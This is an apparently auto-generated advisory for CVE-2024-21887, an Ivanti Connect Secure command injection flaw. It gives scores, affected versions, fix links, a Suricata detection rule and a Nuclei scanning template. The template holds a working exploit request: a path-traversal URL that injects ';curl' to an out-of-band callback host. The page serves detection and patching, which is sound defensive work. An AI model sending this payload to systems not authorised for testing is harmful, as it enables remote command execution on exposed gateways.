CVE-2024-21887: Ivanti Connect Secure and Policy Secure Command Injection Vulnerability
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-08 00:03 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
A command injection vulnerability in web components of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows an authenticated administrator to send specially crafted requests and execute arbitrary commands on the appliance.
Description quoted from the CVE record (assigned by hackerone, published 2024-01-12).
Weakness: CWE-77 Improper Neutralization of Special Elements used in a Command (‘Command Injection’)
How it can be exploited
Exploitable over the network with low attack complexity needing high privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: no. Technical impact: total.
- On CISA KEV since
- 2024-01-10
- US federal deadline
- 2024-01-22
- Ransomware use
- Yes
Public exploit evidence (Exploit Observer)
Exploit Observer found 1 Nuclei template, 13 code repositories and 3 research write-ups naming this CVE.
Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.
See all 28 references on Exploit Observer
Live scores
- EPSS
- 1.000
very likely to be attacked soon - VEDAS
- 0.987
strong exploit evidence - On CISA KEV
- Yes, since 2024-01-10
Thin horizontal line: the “likely exploited” threshold (EPSS 0.10, VEDAS 0.5). Shaded “no data” areas are periods when cve-scores did not publish.
Who is affected
| Product | Affected | Not affected |
|---|---|---|
| Ivanti ICS | from 9.1R18 up to and including 9.1R18 from 22.6R2 up to and including 22.6R2 | Not stated |
| Ivanti IPS | from 9.1R18 up to and including 9.1R18 from 22.6R1 up to and including 22.6R1 | Not stated |
Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.
How to fix it
CISA required action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Vendor guidance:
- https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US
- https://nvd.nist.gov/vuln/detail/CVE-2024-21887
How to detect it
Nuclei template (active check)
Ivanti Connect Secure - Command Injection
A command injection vulnerability in web components of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows an authenticated administrator to send specially crafted requests and execute arbitrary commands on the appliance.
Name and description quoted from the template, written by VEDAS.
The template sends 1 request (GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20{...); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.
Run it against a host you own or are authorised to test:
nuclei -u https://your-host -t CVE-2024-21887.yamlShow the template (45 lines)
id: CVE-2024-21887
info:
name: "Ivanti Connect Secure - Command Injection"
author: vedas-arpsyndicate
severity: critical
description: |
A command injection vulnerability in web components of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy
Secure (9.x, 22.x) allows an authenticated administrator to send specially crafted requests and execute
arbitrary commands on the appliance.
reference:
- https://www.exploit.observer/?keyword=CVE-2024-21887&match=exact
- https://subdomain.center/?engine=ammonites&keyword=ivanti&match=exact
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.1
cve-id: CVE-2024-21887
cwe-id: CWE-77
metadata:
verified: false
tags: packetstorm,cve,cve2024,kev,rce,ivanti,vkev,vuln
http:
- raw:
- |
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20{{interactsh-url}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: header
words:
- 'application/json'
- type: word
part: body
words:
- '"result":'
- '"message":'
condition: and
Suricata rules (network detection)
1 rule that alert on traffic matching this exploit: VEDAS CVE-2024-21887 Ivanti Connect Secure - Command Injection. Add them to your Suricata rule set and reload.
Show the rules
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2024-21887 Ivanti Connect Secure - Command Injection"; flow:established,to_server; http.uri; content:"user-backup-code"; nocase; content:"../"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2024-21887; reference:url,https://www.exploit.observer/?keyword=CVE-2024-21887&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=ivanti&match=exact; sid:1001015; rev:2;)
CVE-2024-21887.rules on GitHub
Advisories on this CVE
- “ClingSTUN” Linux backdoor turns IoT devices into proxy nodes and hides its C2 inside public STUN traffic (full advisory)
References
Government sources
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-21887 (government-resource)
Other references
- https://forums.ivanti.com/s/article/CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US
- http://packetstormsecurity.com/files/176668/Ivanti-Connect-Secure-Unauthenticated-Remote-Code-Execution.html
Other databases
Where this comes from
This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.